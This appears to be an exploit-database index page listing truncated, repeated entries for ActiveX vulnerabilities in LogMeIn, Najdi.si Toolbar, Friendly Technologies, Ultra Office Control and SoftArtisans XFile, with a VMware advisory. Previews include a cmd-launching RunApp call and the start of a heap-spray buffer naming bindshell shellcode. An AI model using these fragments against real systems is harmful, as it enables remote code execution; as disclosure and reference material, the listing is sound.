logmein-activex.txt

LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC DoS Software vendor URL: http://www.logmein.com Vulnerability at: RACtrl.dll propset for: fgcolor, bgcolor, fmcolor Author: Yag Kohha skyhole at gmail.com eax=024521b8 ebx=00000002 ecx=020e9f54 edx=00000011 esi=00000000 edi=00000000...

friendly-exec.txt

lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0...

LogMeIn Remote Access Utility ActiveX Memory Corruption DoS

Exploit for unknown platform in category dos / poc =========================================================== LogMeIn Remote Access Utility ActiveX Memory Corruption DoS =========================================================== LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC D...

Najdi.si Toolbar ActiveX Remote Buffer Overflow PoC

Exploit for unknown platform in category dos / poc =================================================== Najdi.si Toolbar ActiveX Remote Buffer Overflow PoC =================================================== ----------------------------------------------------------------------------- Najdi.si...

LogMeIn Remote Access Utility - ActiveX Memory Corruption (Denial of Service)

LogMeIn Remote Access Utility - ActiveX Memory Corruption Denial of Service LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC DoS Software vendor URL: http://www.logmein.com Vulnerability at: RACtrl.dll propset for: fgcolor, bgcolor, fmcolor Author: Yag Kohha skyhole at gmail.com...

Najdi.si Toolbar - ActiveX Remote Buffer Overflow (PoC)

Najdi.si Toolbar - ActiveX Remote Buffer Overflow PoC ----------------------------------------------------------------------------- Najdi.si Toolbar Remote Buffer Overflow url: http://www.najdi.si/ Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written...

Updates to VMware Workstation, VMware Player, VMware ACE, VMware Server, VMware ESX, VMware VCB address information disclosure, privilege escalation and other security issues.

I Security Issuesa. Setting ActiveX killbitStarting from this release, VMware has set the killbit on itsActiveX controls. Setting the killbit ensures that ActiveXcontrols cannot run in Internet Explorer IE, and avoidsMicrosoft KB article 240797 and the related references on thistopic.Security...

Najdi.si Toolbar - ActiveX Remote Buffer Overflow (PoC)

----------------------------------------------------------------------------- Najdi.si Toolbar Remote Buffer Overflow url: http://www.najdi.si/ Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk...

LogMeIn Remote Access Utility - ActiveX Memory Corruption (Denial of Service)

LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC DoS Software vendor URL: http://www.logmein.com Vulnerability at: RACtrl.dll propset for: fgcolor, bgcolor, fmcolor Author: Yag Kohha skyhole at gmail.com eax=024521b8 ebx=00000002 ecx=020e9f54 edx=00000011 esi=00000000 edi=00000000...

Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit

Exploit for unknown platform in category remote exploits ================================================================== Friendly Technologies fwRemoteCfg.dll ActiveX Remote BOF Exploit ================================================================== Friendly Technologies - wayyy too...

Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit

Exploit for unknown platform in category remote exploits ==================================================================== Friendly Technologies fwRemoteCfg.dll ActiveX Command Exec Exploit ==================================================================== lamers.RunApp "cmd" ,"cmd /k echo S...

Ultra Office Control 'HttpUpload()'方法缓冲区溢出漏洞

BUGTRAQ ID: 30861 CNCAN ID：CNCAN-2008061008 Ultra Office Control是一款用于VB, VB.Net, C或HTML应用程序中的Office ActiveX控件。 Ultra Office Control 'HttpUpload'方法不正确处理参数数据，远程攻击者可以利用漏洞以应用程序权限执行任意代码。 'HttpUpload'方法接收如下三个参数： Function HttpUpload ByVal strUrl As String , ByVal strFile As String , ByVal strPostData As...

Ultra Office ActiveX Control Remote Buffer Overflow Exploit

No description provided by source. ----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Buffer Overflow url: http://www.ultrashareware.com Author: shinnai mail: shinnaiatautisticidotorg site: http://www.shinnai.net This was written for...

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

No description provided by source. ----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Arbitrary File Corruption url: http://www.ultrashareware.com Author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This...

Ultra Office Control 'Save()'方法任意文件覆写漏洞

BUGTRAQ ID: 30863 CNCAN ID：CNCAN-2008061007 Ultra Office Control是一款用于VB, VB.Net, C或HTML应用程序中的Office ActiveX控件。 Ultra Office Control "Save"方法不正确处理参数数据，远程攻击者可以利用漏洞以应用程序权限覆盖系统任意文件。 "Save"方法接收如下四个参数： Sub Save ByVal SaveAsDocument As Variant , ByVal OverwriteExisting As Variant , ByVal WebUsername As...

Friendly Technologies - fwRemoteCfg.dll ActiveX Command Execution

Friendly Technologies - fwRemoteCfg.dll ActiveX Command Execution lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0 milw0rm.com 2008-08-28...

Friendly Technologies - 'fwRemoteCfg.dll' ActiveX Remote Buffer Overflow

Friendly Technologies - wayyy too friendly... function exploit var Evil = ""; // Our Evil Buffer var DamnIE = "\x0C\x0C\x0C\x0C"; // Damn IE changes address when not in the 0x00 - 0x7F range : // Need to use heap spray rather than overwrite EIP ... // Skyland win32 bindshell 28876/tcp shellcode v...

Friendly Technologies - 'fwRemoteCfg.dll' ActiveX Command Execution

lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0 milw0rm.com 2008-08-28...

Friendly Technologies - fwRemoteCfg.dll ActiveX Remote Buffer Overflow

Friendly Technologies - fwRemoteCfg.dll ActiveX Remote Buffer Overflow Friendly Technologies - wayyy too friendly... function exploit var Evil = ""; // Our Evil Buffer var DamnIE = "\x0C\x0C\x0C\x0C"; // Damn IE changes address when not in the 0x00 - 0x7F range : // Need to use heap spray rather...

CVE-2007-1682

Multiple stack-based buffer overflows in the FileManager ActiveX control in SAFmgPws.dll in SoftArtisans XFile before 2.4.0 allow remote attackers to execute arbitrary code via unspecified calls to the 1 BuildPath, 2 GetDriveName, 3 DriveExists, or 4 DeleteFile method...